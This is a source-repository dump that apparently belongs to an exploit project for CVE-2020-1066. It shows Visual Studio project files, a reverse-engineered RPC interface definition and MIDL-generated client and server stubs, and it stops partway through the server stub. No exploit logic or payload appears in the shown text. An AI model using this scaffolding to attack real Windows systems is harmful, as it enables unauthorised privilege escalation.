Debug|Win32|E:\git\CVE-2020-1066\CVE-2020-1066-EXP\| ================================================ FILE: MyComDefine/MyComDefine.vcxproj ================================================  Debug Win32 Debug x64 Release Win32 Release x64 {5A1D46C5-A03C-4622-A737-A8D798C5DEF7} MyComDefine Utility true v120 MultiByte Utility true v120 MultiByte Application false v120 true MultiByte Application false v120 true MultiByte Level3 Disabled true true Level3 Disabled true true Level3 MaxSpeed true true true true true true Level3 MaxSpeed true true true true true true ================================================ FILE: MyComDefine/MyComDefine.vcxproj.filters ================================================  {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;hm;inl;inc;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 源文件 ================================================ FILE: MyComDefine/MyComDefine.vcxproj.user ================================================  WindowsRemoteDebugger ================================================ FILE: MyComDefine/dlldata.c ================================================ /********************************************************* DllData file -- generated by MIDL compiler DO NOT ALTER THIS FILE This file is regenerated by MIDL on every IDL file compile. To completely reconstruct this file, delete it and rerun MIDL on all the IDL files in this DLL, specifying this file for the /dlldata command line option *********************************************************/ #include #ifdef __cplusplus extern "C" { #endif EXTERN_PROXY_FILE( resolver ) PROXYFILE_LIST_START /* Start of list */ REFERENCE_PROXY_FILE( resolver ), /* End of list */ PROXYFILE_LIST_END DLLDATA_ROUTINES( aProxyFileList, GET_DLL_CLSID ) #ifdef __cplusplus } /*extern "C" */ #endif /* end of generated dlldata file */ ================================================ FILE: MyComDefine/resolver.idl ================================================ import "oaidl.idl"; import "ocidl.idl"; [ uuid(00645e6c-fc9f-4a0c-9896-f00b66297798), version(1.0), ] interface DefaultIfName { typedef struct Struct_RpcRequest { [unique][string][size_is(101)] wchar_t* Type; [range(0, 20971520)] long Length; [unique][size_is(Length)]char * Data; }RpcRequest; typedef struct Struct_RpcResponse { [range(0, 20971520)] long Length; [unique][size_is(Length)]char * Data; }RpcResponse; long Proc0_RPCClientBindToService( [in] handle_t hBinding, [out][context_handle] void** arg_1); long Proc1_RPCDispatchClientRequest( [in]struct Struct_RpcRequest* arg_1, [out][ref]struct Struct_RpcResponse** arg_2); long Proc2_RPCDispatchClientUIRequest( [in][out][context_handle] void** arg_0, [in]struct Struct_RpcRequest* arg_1, [out][ref]struct Struct_RpcResponse** arg_2); } ================================================ FILE: MyComDefine/resolver_c.c ================================================ /* this ALWAYS GENERATED file contains the RPC client stubs */ /* File created by MIDL compiler version 8.00.0603 */ /* at Sat May 02 15:58:29 2020 */ /* Compiler settings for resolver.idl: Oicf, W1, Zp8, env=Win32 (32b run), target_arch=X86 8.00.0603 protocol : dce , ms_ext, c_ext, robust error checks: allocation ref bounds_check enum stub_data VC __declspec() decoration level: __declspec(uuid()), __declspec(selectany), __declspec(novtable) DECLSPEC_UUID(), MIDL_INTERFACE() */ /* @@MIDL_FILE_HEADING( ) */ #if !defined(_M_IA64) && !defined(_M_AMD64) && !defined(_ARM_) #pragma warning( disable: 4049 ) /* more than 64k source lines */ #if _MSC_VER >= 1200 #pragma warning(push) #endif #pragma warning( disable: 4211 ) /* redefine extern to static */ #pragma warning( disable: 4232 ) /* dllimport identity*/ #pragma warning( disable: 4024 ) /* array to pointer mapping*/ #pragma warning( disable: 4100 ) /* unreferenced arguments in x86 call */ #pragma optimize("", off ) #include #include "resolver_h.h" #define TYPE_FORMAT_STRING_SIZE 125 #define PROC_FORMAT_STRING_SIZE 141 #define EXPR_FORMAT_STRING_SIZE 1 #define TRANSMIT_AS_TABLE_SIZE 0 #define WIRE_MARSHAL_TABLE_SIZE 0 typedef struct _resolver_MIDL_TYPE_FORMAT_STRING { short Pad; unsigned char Format[ TYPE_FORMAT_STRING_SIZE ]; } resolver_MIDL_TYPE_FORMAT_STRING; typedef struct _resolver_MIDL_PROC_FORMAT_STRING { short Pad; unsigned char Format[ PROC_FORMAT_STRING_SIZE ]; } resolver_MIDL_PROC_FORMAT_STRING; typedef struct _resolver_MIDL_EXPR_FORMAT_STRING { long Pad; unsigned char Format[ EXPR_FORMAT_STRING_SIZE ]; } resolver_MIDL_EXPR_FORMAT_STRING; static const RPC_SYNTAX_IDENTIFIER _RpcTransferSyntax = {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}}; extern const resolver_MIDL_TYPE_FORMAT_STRING resolver__MIDL_TypeFormatString; extern const resolver_MIDL_PROC_FORMAT_STRING resolver__MIDL_ProcFormatString; extern const resolver_MIDL_EXPR_FORMAT_STRING resolver__MIDL_ExprFormatString; #define GENERIC_BINDING_TABLE_SIZE 0 /* Standard interface: DefaultIfName, ver. 1.0, GUID={0x00645e6c,0xfc9f,0x4a0c,{0x98,0x96,0xf0,0x0b,0x66,0x29,0x77,0x98}} */ static const RPC_CLIENT_INTERFACE DefaultIfName___RpcClientInterface = { sizeof(RPC_CLIENT_INTERFACE), {{0x00645e6c,0xfc9f,0x4a0c,{0x98,0x96,0xf0,0x0b,0x66,0x29,0x77,0x98}},{1,0}}, {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}}, 0, 0, 0, 0, 0, 0x00000000 }; RPC_IF_HANDLE DefaultIfName_v1_0_c_ifspec = (RPC_IF_HANDLE)& DefaultIfName___RpcClientInterface; extern const MIDL_STUB_DESC DefaultIfName_StubDesc; static RPC_BINDING_HANDLE DefaultIfName__MIDL_AutoBindHandle; long Proc0_RPCClientBindToService( /* [in] */ handle_t hBinding, /* [context_handle][out] */ void **arg_1) { CLIENT_CALL_RETURN _RetVal; _RetVal = NdrClientCall2( ( PMIDL_STUB_DESC )&DefaultIfName_StubDesc, (PFORMAT_STRING) &resolver__MIDL_ProcFormatString.Format[0], ( unsigned char * )&hBinding); return ( long )_RetVal.Simple; } long Proc1_RPCDispatchClientRequest( /* [in] */ handle_t IDL_handle, /* [in] */ struct Struct_RpcRequest *arg_1, /* [ref][out] */ struct Struct_RpcResponse **arg_2) { CLIENT_CALL_RETURN _RetVal; _RetVal = NdrClientCall2( ( PMIDL_STUB_DESC )&DefaultIfName_StubDesc, (PFORMAT_STRING) &resolver__MIDL_ProcFormatString.Format[40], ( unsigned char * )&IDL_handle); return ( long )_RetVal.Simple; } long Proc2_RPCDispatchClientUIRequest( /* [context_handle][out][in] */ void **arg_0, /* [in] */ struct Struct_RpcRequest *arg_1, /* [ref][out] */ struct Struct_RpcResponse **arg_2) { CLIENT_CALL_RETURN _RetVal; _RetVal = NdrClientCall2( ( PMIDL_STUB_DESC )&DefaultIfName_StubDesc, (PFORMAT_STRING) &resolver__MIDL_ProcFormatString.Format[86], ( unsigned char * )&arg_0); return ( long )_RetVal.Simple; } #if !defined(__RPC_WIN32__) #error Invalid build platform for this stub. #endif #if !(TARGET_IS_NT50_OR_LATER) #error You need Windows 2000 or later to run this stub because it uses these features: #error /robust command line switch. #error However, your C/C++ compilation flags indicate you intend to run this app on earlier systems. #error This app will fail with the RPC_X_WRONG_STUB_VERSION error. #endif static const resolver_MIDL_PROC_FORMAT_STRING resolver__MIDL_ProcFormatString = { 0, { /* Procedure Proc0_RPCClientBindToService */ 0x0, /* 0 */ 0x48, /* Old Flags: */ /* 2 */ NdrFcLong( 0x0 ), /* 0 */ /* 6 */ NdrFcShort( 0x0 ), /* 0 */ /* 8 */ NdrFcShort( 0xc ), /* x86 Stack size/offset = 12 */ /* 10 */ 0x32, /* FC_BIND_PRIMITIVE */ 0x0, /* 0 */ /* 12 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ /* 14 */ NdrFcShort( 0x0 ), /* 0 */ /* 16 */ NdrFcShort( 0x40 ), /* 64 */ /* 18 */ 0x44, /* Oi2 Flags: has return, has ext, */ 0x2, /* 2 */ /* 20 */ 0x8, /* 8 */ 0x1, /* Ext Flags: new corr desc, */ /* 22 */ NdrFcShort( 0x0 ), /* 0 */ /* 24 */ NdrFcShort( 0x0 ), /* 0 */ /* 26 */ NdrFcShort( 0x0 ), /* 0 */ /* Parameter hBinding */ /* 28 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ /* 30 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ /* 32 */ NdrFcShort( 0x6 ), /* Type Offset=6 */ /* Parameter arg_1 */ /* 34 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ /* 36 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ /* 38 */ 0x8, /* FC_LONG */ 0x0, /* 0 */ /* Procedure Proc1_RPCDispatchClientRequest */ /* Return value */ /* 40 */ 0x0, /* 0 */ 0x48, /* Old Flags: */ /* 42 */ NdrFcLong( 0x0 ), /* 0 */ /* 46 */ NdrFcShort( 0x1 ), /* 1 */ /* 48 */ NdrFcShort( 0x10 ), /* x86 Stack size/offset = 16 */ /* 50 */ 0x32, /* FC_BIND_PRIMITIVE */ 0x0, /* 0 */ /* 52 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ /* 54 */ NdrFcShort( 0x0 ), /* 0 */ /* 56 */ NdrFcShort( 0x8 ), /* 8 */ /* 58 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ 0x3, /* 3 */ /* 60 */ 0x8, /* 8 */ 0x7, /* Ext Flags: new corr desc, clt corr check, srv corr check, */ /* 62 */ NdrFcShort( 0x1 ), /* 1 */ /* 64 */ NdrFcShort( 0x1 ), /* 1 */ /* 66 */ NdrFcShort( 0x0 ), /* 0 */ /* Parameter IDL_handle */ /* 68 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ /* 70 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ /* 72 */ NdrFcShort( 0x2c ), /* Type Offset=44 */ /* Parameter arg_1 */ /* 74 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ /* 76 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ /* 78 */ NdrFcShort( 0x44 ), /* Type Offset=68 */ /* Parameter arg_2 */ /* 80 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ /* 82 */ NdrFcShort( 0xc ), /* x86 Stack size/offset = 12 */ /* 84 */ 0x8, /* FC_LONG */ 0x0, /* 0 */ /* Procedure Proc2_RPCDispatchClientUIRequest */ /* Return value */ /* 86 */ 0x0, /* 0 */ 0x48, /* Old Flags: */ /* 88 */ NdrFcLong( 0x0 ), /* 0 */ /* 92 */ NdrFcShort( 0x2 ), /* 2 */ /* 94 */ NdrFcShort( 0x10 ), /* x86 Stack size/offset = 16 */ /* 96 */ 0x30, /* FC_BIND_CONTEXT */ 0xe0, /* Ctxt flags: via ptr, in, out, */ /* 98 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ /* 100 */ 0x0, /* 0 */ 0x0, /* 0 */ /* 102 */ NdrFcShort( 0x38 ), /* 56 */ /* 104 */ NdrFcShort( 0x40 ), /* 64 */ /* 106 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ 0x4, /* 4 */ /* 108 */ 0x8, /* 8 */ 0x7, /* Ext Flags: new corr desc, clt corr check, srv corr check, */ /* 110 */ NdrFcShort( 0x1 ), /* 1 */ /* 112 */ NdrFcShort( 0x1 ), /* 1 */ /* 114 */ NdrFcShort( 0x0 ), /* 0 */ /* Parameter arg_0 */ /* 116 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ /* 118 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ /* 120 */ NdrFcShort( 0x78 ), /* Type Offset=120 */ /* Parameter arg_1 */ /* 122 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ /* 124 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ /* 126 */ NdrFcShort( 0x2c ), /* Type Offset=44 */ /* Parameter arg_2 */ /* 128 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ /* 130 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ /* 132 */ NdrFcShort( 0x44 ), /* Type Offset=68 */ /* Return value */ /* 134 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ /* 136 */ NdrFcShort( 0xc ), /* x86 Stack size/offset = 12 */ /* 138 */ 0x8, /* FC_LONG */ 0x0, /* 0 */ 0x0 } }; static const resolver_MIDL_TYPE_FORMAT_STRING resolver__MIDL_TypeFormatString = { 0, { NdrFcShort( 0x0 ), /* 0 */ /* 2 */ 0x11, 0x4, /* FC_RP [alloced_on_stack] */ /* 4 */ NdrFcShort( 0x2 ), /* Offset= 2 (6) */ /* 6 */ 0x30, /* FC_BIND_CONTEXT */ 0xa0, /* Ctxt flags: via ptr, out, */ /* 8 */ 0x0, /* 0 */ 0x0, /* 0 */ /* 10 */ 0x11, 0x0, /* FC_RP */ /* 12 */ NdrFcShort( 0x20 ), /* Offset= 32 (44) */ /* 14 */ 0xb7, /* FC_RANGE */ 0x8, /* 8 */ /* 16 */ NdrFcLong( 0x0 ), /* 0 */ /* 20 */ NdrFcLong( 0x1400000 ), /* 20971520 */ /* 24 */ 0x25, /* FC_C_WSTRING */ 0x44, /* FC_STRING_SIZED */ /* 26 */ 0x40, /* Corr desc: constant, val=101 */ 0x0, /* 0 */ /* 28 */ NdrFcShort( 0x65 ), /* 101 */ /* 30 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ /* 32 */ 0x1b, /* FC_CARRAY */ 0x0, /* 0 */ /* 34 */ NdrFcShort( 0x1 ), /* 1 */ /* 36 */ 0x18, /* Corr desc: field pointer, FC_LONG */ 0x0, /* */ /* 38 */ NdrFcShort( 0x4 ), /* 4 */ /* 40 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ /* 42 */ 0x2, /* FC_CHAR */ 0x5b, /* FC_END */ /* 44 */ 0x1a, /* FC_BOGUS_STRUCT */ 0x3, /* 3 */ /* 46 */ NdrFcShort( 0xc ), /* 12 */ /* 48 */ NdrFcShort( 0x0 ), /* 0 */ /* 50 */ NdrFcShort( 0xa ), /* Offset= 10 (60) */ /* 52 */ 0x36, /* FC_POINTER */ 0x4c, /* FC_EMBEDDED_COMPLEX */ /* 54 */ 0x0, /* 0 */ NdrFcShort( 0xffd7 ), /* Offset= -41 (14) */ 0x36, /* FC_POINTER */ /* 58 */ 0x5c, /* FC_PAD */ 0x5b, /* FC_END */ /* 60 */ 0x12, 0x0, /* FC_UP */ /* 62 */ NdrFcShort( 0xffda ), /* Offset= -38 (24) */ /* 64 */ 0x12, 0x0, /* FC_UP */ /* 66 */ NdrFcShort( 0xffde ), /* Offset= -34 (32) */ /* 68 */ 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ /* 70 */ NdrFcShort( 0x2 ), /* Offset= 2 (72) */ /* 72 */ 0x12, 0x0, /* FC_UP */ /* 74 */ NdrFcShort( 0x18 ), /* Offset= 24 (98) */ /* 76 */ 0xb7, /* FC_RANGE */ 0x8, /* 8 */ /* 78 */ NdrFcLong( 0x0 ), /* 0 */ /* 82 */ NdrFcLong( 0x1400000 ), /* 20971520 */ /* 86 */ 0x1b, /* FC_CARRAY */ 0x0, /* 0 */ /* 88 */ NdrFcShort( 0x1 ), /* 1 */ /* 90 */ 0x18, /* Corr desc: field pointer, FC_LONG */ 0x0, /* */ /* 92 */ NdrFcShort( 0x0 ), /* 0 */ /* 94 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ /* 96 */ 0x2, /* FC_CHAR */ 0x5b, /* FC_END */ /* 98 */ 0x1a, /* FC_BOGUS_STRUCT */ 0x3, /* 3 */ /* 100 */ NdrFcShort( 0x8 ), /* 8 */ /* 102 */ NdrFcShort( 0x0 ), /* 0 */ /* 104 */ NdrFcShort( 0x8 ), /* Offset= 8 (112) */ /* 106 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ 0x0, /* 0 */ /* 108 */ NdrFcShort( 0xffe0 ), /* Offset= -32 (76) */ /* 110 */ 0x36, /* FC_POINTER */ 0x5b, /* FC_END */ /* 112 */ 0x12, 0x0, /* FC_UP */ /* 114 */ NdrFcShort( 0xffe4 ), /* Offset= -28 (86) */ /* 116 */ 0x11, 0x4, /* FC_RP [alloced_on_stack] */ /* 118 */ NdrFcShort( 0x2 ), /* Offset= 2 (120) */ /* 120 */ 0x30, /* FC_BIND_CONTEXT */ 0xe1, /* Ctxt flags: via ptr, in, out, can't be null */ /* 122 */ 0x0, /* 0 */ 0x0, /* 0 */ 0x0 } }; static const unsigned short DefaultIfName_FormatStringOffsetTable[] = { 0, 40, 86 }; static const MIDL_STUB_DESC DefaultIfName_StubDesc = { (void *)& DefaultIfName___RpcClientInterface, MIDL_user_allocate, MIDL_user_free, &DefaultIfName__MIDL_AutoBindHandle, 0, 0, 0, 0, resolver__MIDL_TypeFormatString.Format, 1, /* -error bounds_check flag */ 0x50002, /* Ndr library version */ 0, 0x800025b, /* MIDL Version 8.0.603 */ 0, 0, 0, /* notify & notify_flag routine table */ 0x1, /* MIDL flag */ 0, /* cs routines */ 0, /* proxy/server info */ 0 }; #pragma optimize("", on ) #if _MSC_VER >= 1200 #pragma warning(pop) #endif #endif /* !defined(_M_IA64) && !defined(_M_AMD64) && !defined(_ARM_) */ ================================================ FILE: MyComDefine/resolver_h.h ================================================ /* this ALWAYS GENERATED file contains the definitions for the interfaces */ /* File created by MIDL compiler version 8.00.0603 */ /* at Sat May 02 15:58:29 2020 */ /* Compiler settings for resolver.idl: Oicf, W1, Zp8, env=Win32 (32b run), target_arch=X86 8.00.0603 protocol : dce , ms_ext, c_ext, robust error checks: allocation ref bounds_check enum stub_data VC __declspec() decoration level: __declspec(uuid()), __declspec(selectany), __declspec(novtable) DECLSPEC_UUID(), MIDL_INTERFACE() */ /* @@MIDL_FILE_HEADING( ) */ #pragma warning( disable: 4049 ) /* more than 64k source lines */ /* verify that the version is high enough to compile this file*/ #ifndef __REQUIRED_RPCNDR_H_VERSION__ #define __REQUIRED_RPCNDR_H_VERSION__ 475 #endif #include "rpc.h" #include "rpcndr.h" #ifndef __RPCNDR_H_VERSION__ #error this stub requires an updated version of #endif // __RPCNDR_H_VERSION__ #ifndef __resolver_h_h__ #define __resolver_h_h__ #if defined(_MSC_VER) && (_MSC_VER >= 1020) #pragma once #endif /* Forward Declarations */ /* header files for imported files */ #include "oaidl.h" #include "ocidl.h" #ifdef __cplusplus extern "C"{ #endif #ifndef __DefaultIfName_INTERFACE_DEFINED__ #define __DefaultIfName_INTERFACE_DEFINED__ /* interface DefaultIfName */ /* [version][uuid] */ typedef struct Struct_RpcRequest { /* [size_is][string][unique] */ wchar_t *Type; /* [range] */ long Length; /* [size_is][unique] */ unsigned char *Data; } RpcRequest; typedef struct Struct_RpcResponse { /* [range] */ long Length; /* [size_is][unique] */ unsigned char *Data; } RpcResponse; long Proc0_RPCClientBindToService( /* [in] */ handle_t hBinding, /* [context_handle][out] */ void **arg_1); long Proc1_RPCDispatchClientRequest( /* [in] */ handle_t IDL_handle, /* [in] */ struct Struct_RpcRequest *arg_1, /* [ref][out] */ struct Struct_RpcResponse **arg_2); long Proc2_RPCDispatchClientUIRequest( /* [context_handle][out][in] */ void **arg_0, /* [in] */ struct Struct_RpcRequest *arg_1, /* [ref][out] */ struct Struct_RpcResponse **arg_2); extern RPC_IF_HANDLE DefaultIfName_v1_0_c_ifspec; extern RPC_IF_HANDLE DefaultIfName_v1_0_s_ifspec; #endif /* __DefaultIfName_INTERFACE_DEFINED__ */ /* Additional Prototypes for ALL interfaces */ /* end of Additional Prototypes */ #ifdef __cplusplus } #endif #endif ================================================ FILE: MyComDefine/resolver_s.c ================================================ /* this ALWAYS GENERATED file contains the RPC server stubs */ /* File created by MIDL compiler version 8.00.0603 */ /* at Sat May 02 15:58:29 2020 */ /* Compiler settings for resolver.idl: Oicf, W1, Zp8, env=Win32 (32b run), target_arch=X86 8.00.0603 protocol : dce , ms_ext, c_ext, robust error checks: allocation ref bounds_check enum stub_data VC __declspec() decoration level: __declspec(uuid()), __declspec(selectany), __declspec(novtable) DECLSPEC_UUID(), MIDL_INTERFACE() */ /* @@MIDL_FILE_HEADING( ) */ #if !defined(_M_IA64) && !defined(_M_AMD64) && !defined(_ARM_) #pragma warning( disable: 4049 ) /* more than 64k source lines */ #if _MSC_VER >= 1200 #pragma warning(push) #endif #pragma warning( disable: 4211 ) /* redefine extern to static */ #pragma warning( disable: 4232 ) /* dllimport identity*/ #pragma warning( disable: 4024 ) /* array to pointer mapping*/ #pragma warning( disable: 4100 ) /* unreferenced arguments in x86 call */ #pragma optimize("", off ) #include #include "resolver_h.h" #define TYPE_FORMAT_STRING_SIZE 125 #define PROC_FORMAT_STRING_SIZE 141 #define EXPR_FORMAT_STRING_SIZE 1 #define TRANSMIT_AS_TABLE_SIZE 0 #define WIRE_MARSHAL_TABLE_SIZE 0 typedef struct _resolver_MIDL_TYPE_FORMAT_STRING { short Pad; unsigned char Format[ TYPE_FORMAT_STRING_SIZE ]; } resolver_MIDL_TYPE_FORMAT_STRING; typedef struct _resolver_MIDL_PROC_FORMAT_STRING { short Pad; unsigned char Format[ PROC_FORMAT_STRING_SIZE ]; } resolver_MIDL_PROC_FORMAT_STRING; typedef struct _resolver_MIDL_EXPR_FORMAT_STRING { long Pad; unsigned char Format[ EXPR_FORMAT_STRING_SIZE ]; } resolver_MIDL_EXPR_FORMAT_STRING; static const RPC_SYNTAX_IDENTIFIER _RpcTransferSyntax = {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}}; extern const resolver_MIDL_TYPE_FORMAT_STRING resolver__MIDL_TypeFormatString; extern const resolver_MIDL_PROC_FORMAT_STRING resolver__MIDL_ProcFormatString; extern const resolver_MIDL_EXPR_FORMAT_STRING resolver__MIDL_ExprFormatString; /* Standard interface: DefaultIfName, ver. 1.0, GUID={0x00645e6c,0xfc9f,0x4a0c,{0x98,0x96,0xf0,0x0b,0x66,0x29,0x77,0x98}} */ extern const MIDL_SERVER_INFO DefaultIfName_ServerInfo; extern const RPC_DISPATCH_TABLE DefaultIfName_v1_0_DispatchTable; static const RPC_SERVER_INTERFACE DefaultIfName___RpcServerInterface = { sizeof(RPC_SERVER_INTERFACE), {{0x00645e6c,0xfc9f,0x4a0c,{0x98,0x96,0xf0,0x0b,0x66,0x29,0x77,0x98}},{1,0}}, {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}}, (RPC_DISPATCH_TABLE*)&DefaultIfName_v1_0_DispatchTable, 0, 0, 0, &DefaultIfName_ServerInfo, 0x04000000 }; RPC_IF_HANDLE DefaultIfName_v1_0_s_ifspec = (RPC_IF_HANDLE)& DefaultIfName___RpcServerInterface; extern const MIDL_STUB_DESC DefaultIfName_StubDesc; extern const NDR_RUNDOWN RundownRoutines[]; #if !defined(__RPC_WIN32__) #error Invalid build platform for this stub. #endif #if !(TARGET_IS_NT50_OR_LATER) #error You need Windows 2000 or later to run this stub because it uses these features: #error /robust command line switch. #error However, your C/C++ compilation flags indicate you intend to run this app on earlier systems. #error This app will fail with the RPC_X_WRONG_STUB_VERSION error. #endif static const resolver_MIDL_PROC_FORMAT_STRING resolver__MIDL_ProcFormatString = { 0, { /* Procedure Proc0_RPCClientBindToService */ 0x0, /* 0 */ 0x48, /* Old Flags: */ /* 2 */ NdrFcLong( 0x0 ), /* 0 */ /* 6 */ NdrFcShort( 0x0 ), /* 0 */ /* 8 */ NdrFcShort( 0xc ), /* x86 Stack size/offset = 12 */ /* 10 */ 0x32, /* FC_BIND_PRIMITIVE */ 0x0, /* 0 */ /* 12 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ /* 14 */ NdrFcShort( 0x0 ), /* 0 */ /* 16 */ NdrFcShort( 0x40 ), /* 64 */ /* 18 */ 0x44, /* Oi2 Flags: has return, has ext, */ 0x2, /* 2 */ /* 20 */ 0x8, /* 8 */ 0x1, /* Ext Flags: new corr desc, */ /* 22 */ NdrFcShort( 0x0 ), /* 0 */ /* 24 */ NdrFcShort( 0x0 ), /* 0 */ /* 26 */ NdrFcShort( 0x0 ), /* 0 */ /* Parameter hBinding */ /* 28 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ /* 30 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ /* 32 */ NdrFcShort( 0x6 ), /* Type Offset=6 */ /* Parameter arg_1 */ /* 34 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ /* 36 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ /* 38 */ 0x8, /* FC_LONG */ 0x0, /* 0 */ /* Procedure Proc1_RPCDispatchClientRequest */ /* Return value */ /* 40 */ 0x0, /* 0 */ 0x48, /* Old Flags: */ /* 42 */ NdrFcLong( 0x0 ), /* 0 */ /* 46 */ NdrFcShort( 0x1 ), /* 1 */ /* 48 */ NdrFcShort( 0x10 ), /* x86 Stack size/offset = 16 */ /* 50 */ 0x32, /* FC_BIND_PRIMITIVE */ 0x0, /* 0 */ /* 52 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ /* 54 */ NdrFcShort( 0x0 ), /* 0 */ /* 56 */ NdrFcShort( 0x8 ), /* 8 */ /* 58 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ 0x3, /* 3 */ /* 60 */ 0x8, /* 8 */ 0x7, /* Ext Flags: new corr desc, clt corr check, srv corr check, */ /* 62 */ NdrFcShort( 0x1 ), /* 1 */ /* 64 */ NdrFcShort( 0x1 ), /* 1 */ /* 66 */ NdrFcShort( 0x0 ), /* 0 */ /* Parameter IDL_handle */ /* 68 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ /* 70 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ /* 72 */ NdrFcShort( 0x2c ), /* Type Offset=44 */ /* Parameter arg_1 */ /* 74 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ /* 76 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ /* 78 */ NdrFcShort( 0x44 ), /* Type Offset=68 */ /* Parameter arg_2 */ /* 80 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ /* 82 */ NdrFcShort( 0xc ), /* x86 Stack size/offset = 12 */ /* 84 */ 0x8, /* FC_LONG */ 0x0, /* 0 */ /* Procedure Proc2_RPCDispatchClientUIRequest */ /* Return value */ /* 86 */ 0x0, /* 0 */ 0x48, /* Old Flags: */ /* 88 */ NdrFcLong( 0x0 ), /* 0 */ /* 92 */ NdrFcShort( 0x2 ), /* 2 */ /* 94 */ NdrFcShort( 0x10 ), /* x86 Stack size/offset = 16 */ /* 96 */ 0x30, /* FC_BIND_CONTEXT */ 0xe0, /* Ctxt flags: via ptr, in, out, */ /* 98 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ /* 100 */ 0x0, /* 0 */ 0x0, /* 0 */ /* 102 */ NdrFcShort( 0x38 ), /* 56 */ /* 104 */ NdrFcShort( 0x40 ), /* 64 */ /* 106 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ 0x4, /* 4 */ /* 108 */ 0x8, /* 8 */ 0x7, /* Ext Flags: new corr desc, clt corr check, srv corr check, */ /* 110 */ NdrFcShort( 0x1 ), /* 1 */ /* 112 */ NdrFcShort( 0x1 ), /* 1 */ /* 114 */ NdrFcShort( 0x0 ), /* 0 */ /* Parameter arg_0 */ /* 116 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ /* 118 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ /* 120 */ NdrFcShort( 0x78 ), /* Type Offset=120 */ /* Parameter arg_1 */ /* 122 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ /* 124 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ /* 126 */ NdrFcShort( 0x2c ), /* Type Offset=44 */ /* Parameter arg_2 */ /* 128 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ /* 130 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ /* 132 */ NdrFcShort( 0x44 ), /* Type Offset=68 */ /* Return value */ /* 134 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ /* 136 */ NdrFcShort( 0xc ), /* x86 Stack size/offset = 12 */ /* 138 */ 0x8, /* FC_LONG */ 0x0, /* 0 */ 0x0 } }; static const resolver_MIDL_TYPE_FORMAT_STRING resolver__MIDL_TypeFormatString = { 0, { NdrFcShort( 0x0 ), /* 0 */ /* 2 */ 0x11, 0x4, /* FC_RP [alloced_on_stack] */ /* 4 */ NdrFcShort( 0x2 ), /* Offset= 2 (6) */ /* 6 */ 0x30, /* FC_BIND_CONTEXT */ 0xa0, /* Ctxt flags: via ptr, out, */ /* 8 */ 0x0, /* 0 */ 0x0, /* 0 */ /* 10 */ 0x11, 0x0, /* FC_RP */ /* 12 */ NdrFcShort( 0x20 ), /* Offset= 32 (44) */ /* 14 */ 0xb7, /* FC_RANGE */ 0x8, /* 8 */ /* 16 */ NdrFcLong( 0x0 ), /* 0 */ /* 20 */ NdrFcLong( 0x1400000 ), /* 20971520 */ /* 24 */ 0x25, /* FC_C_WSTRING */ 0x44, /* FC_STRING_SIZED */ /* 26 